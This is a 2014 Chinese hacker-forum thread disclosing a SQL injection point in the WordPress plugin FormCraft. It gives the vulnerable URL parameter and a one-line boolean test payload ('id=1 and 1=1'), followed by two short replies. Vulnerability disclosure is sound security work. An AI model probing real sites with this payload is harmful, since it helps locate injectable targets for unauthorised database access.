红客联盟 - 由08安全团队运营

红客联盟 - 由08安全团队运营»社区首页 › 技术攻防 › 漏洞情报 › WordPress插件formcraft Sql Injection

返回列表发帖

查看: 12196|回复: 2

WordPress插件formcraft Sql Injection

发表于 2014-1-20 14:36:00 | 显示全部楼层 |阅读模式

点：

[AppleScript] 纯文本查看 复制代码

/wp-content/plugins/formcraft/form.php?id=[Sql]

PoC:

[AppleScript] 纯文本查看 复制代码

form.php?id=1%20and%20 1=1

相关帖子

回复

使用道具举报

发表于 2014-1-20 18:50:12 | 显示全部楼层

太俗了~~

回复支持反对

使用道具举报

发表于 2014-1-20 19:32:41 | 显示全部楼层

总算有个能看懂的了，1=1 检测注入

回复支持反对

使用道具举报

返回列表发帖

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

应急响应中心

联系我们

官方QQ群：112851260

官方邮箱：security#ihonker.org（#改成@）

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-9-28 06:20 , Processed in 0.022818 second(s), 22 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

返回顶部